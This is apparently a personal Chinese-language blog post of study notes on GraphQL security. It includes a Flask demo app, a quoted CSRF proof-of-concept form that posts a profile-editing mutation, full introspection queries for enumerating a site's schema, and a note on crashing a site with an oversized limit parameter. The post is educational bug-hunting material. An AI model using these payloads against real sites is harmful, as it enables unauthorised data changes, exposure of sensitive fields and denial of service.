我的GraphQL安全學習之旅

  • 2019 年 10 月 29 日
  • 筆記

GraphQL簡介

GraphQL是Facebook的一個開源項目,定義了一種查詢語言,用來代替傳統的RESTful API。看到這樣的描述,很容易產生誤解,以為是新的資料庫查詢語言,但其實GraphQL和資料庫沒有關係,GraphQL並不直接操作資料庫,可以理解為傳統的後端程式碼與資料庫之間又多加了一層,這一層就是GraphQL.

傳統的RESTful API是一個介面對應一個url,GraphQL是通過一個url介面改變請求所POST的查詢參數,來達到多個api的查詢效果。

GraphQL初窺

在查找GraphQL資料的過程中,都可以看到一個簡單的demo,不過查詢結果都是程式碼寫死的,對於理解GraphQL和資料庫之間的關係,並不是很有幫助,我寫了一個簡單和資料庫連接的demo,python程式碼如下:

from flask import Flask  from flask_sqlalchemy import SQLAlchemy  import os  import graphene  from graphene_sqlalchemy import SQLAlchemyObjectType, SQLAlchemyConnectionField  from flask_graphql import GraphQLView    app = Flask(__name__)  app.debug = True    basedir = os.path.abspath(os.path.dirname(__file__))    app.config['SQLALCHEMY_DATABASE_URI'] = 'mysql+pymysql://root:[email protected]:3306/test?charset=utf8mb4'  app.config['SQLALCHEMY_COMMIT_ON_TEARDOWN'] = True  app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = True    db = SQLAlchemy(app)    class UserModel(db.Model):      __tablename__ = 'user'      id = db.Column(db.Integer, primary_key=True)      name = db.Column(db.String(256), index=True, unique=True)      password = db.Column(db.String(256), index=True)        def __repr__(self):          return '<User %r>' % self.username  class User(SQLAlchemyObjectType):      class Meta:          model = UserModel    class Query(graphene.ObjectType):      users = graphene.List(User)        def resolve_users(self, info):          return UserModel.query.all()    schema = graphene.Schema(query=Query)    @app.route('/')  def index():      return '<p> Hello World!</p >'    app.add_url_rule(      '/graphql',      view_func=GraphQLView.as_view(          'graphql',          schema=schema,          graphiql=True      )  )    if __name__ == '__main__':      app.run(host='0.0.0.0')

訪問http://localhost:5000/ 即可看到demo。

query{    users{      id,      password,      name    }  }

查詢結果如下:

查詢結果.png

查詢出來的數據即UserModel.query.all()的執行結果。但如果我要在瀏覽器實現只查詢id=2的用戶的資訊是做不到,因為後端python程式碼里沒有寫,也就是說,只有程式碼里寫了介面,定義了相應的schema,才能通過GraphQL查詢出對應結果,所以並不是通過GraphQL就能查詢獲取資料庫所有數據

GraphQL的安全問題

如果看過p牛在先知大會上的分享——《攻擊GraphQL》,會對GraphQL的安全問題有一個全面的認識。這裡,在GraphQL安全問題研究上,我並沒有新的發現,可以算是個人的學習筆記以及自己的一些理解。

讓我們先回顧一下p牛總結的問題。

GraphQL安全問題總結.png

這ppt中提到的sql注入,個人感覺和GraphQL並不是太大關係,在不了解GraphQL的時候,一度以為看到用了GraphQL就以為找到了注入。如果程式碼的資料庫查詢都是像我上面那樣的規範操作,自然是不存在sql注入的。若查詢返回數據的方式使用的是原生語句查詢資料庫,一旦用戶參數未經安全過濾進入資料庫,還是存在sql注入。

至於csrf,GraphQL可以通過Mutation進行數據更改,若graphql介面未做安全校驗,自然可以通過構造惡意html進行攻擊。ppt中給的poc如下:

<html>   <body>   <script>history.pushState('', '', '/')</script>   <form action="https://graphqlapp.herokuapp.com/" method="POST">   <input type="hidden" name="query"  value="mutation&#32;&#123;&#10;&#32;&#32;editProfile&#40;name&#58;&quot;hac  ker&quot;&#44;&#32;age&#58;&#32;5&#41;&#32;&#123;&#10;&#32;&#32;&#32;&#32;n  ame&#10;&#32;&#32;&#32;&#32;age&#10;&#32;&#32;&#125;&#10;&#125;" />   <input type="submit" value="Submit request" />   </form>   </body>  </html>

個人在挖掘src的過程中,碰到不少站點有用到GraphQL進行數據查詢。發現的漏洞主要是資訊泄露,和ddos拒絕服務。

發現的ddos漏洞在黑盒層面無法判斷是否和GraphqQL有直接的關係,漏洞很簡單,在graphql的query請求當中,有一個limit參數,當我將參數調成一個超大數字時,網站就卡死宕機了,無法判斷後端哪一層崩潰了。

再回到資訊泄露的問題上,個人覺得這才是大家在用GraphQL進行開發時,常忽略的地方。GraphQL可以使用schema和type查詢可用的對象和對象的所有欄位

如下,以我上面的demo為例,查詢可用對象

query __schema{    __schema{      types{        name      }    }  }
image.png

得到User,再查詢User的欄位。

 {      __type(name: "User") {              name              fields {                  name                  type {                      name                  }              }          }      }
image.png

在實際挖洞過程中,就可判斷是否存在敏感欄位,如用戶的password,phone,address等。再做進一步的漏洞挖掘。

但有時目標網站可能存在幾十個對象,一個一個查找出具體的欄位顯示是太麻煩了,是否可以編寫工具進行批量查詢呢?本想自己寫一下,但發現已經有大佬給我們做好了。

項目在git地址為https://github.com/doyensec/graph-ql,通過這個工具可以詳細列出網站的對象還有對應欄位。分析他的python源碼可以得到這兩個payload。

query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}
query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description args{...InputValue}onOperation onFragment onField}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name}}}}

測試效果如下,只需一次請求就可列出對象和欄位。

image.png

工具的效果如下:

image.png

在實際使用過程中,常常需要修改腳本,修改post的參數名稱以及返回結果的參數名,使之與實際請求結果相對應,若有登陸態校驗,則還需要添加cookie,這一塊腳本有待改進,有時間就造一個順手的輪子。

至於嵌套查詢導致ddos,在實際挖掘中暫時沒有碰到,具體介紹可以參考freebuf的《GraphQL安全指北》這篇文章。

參考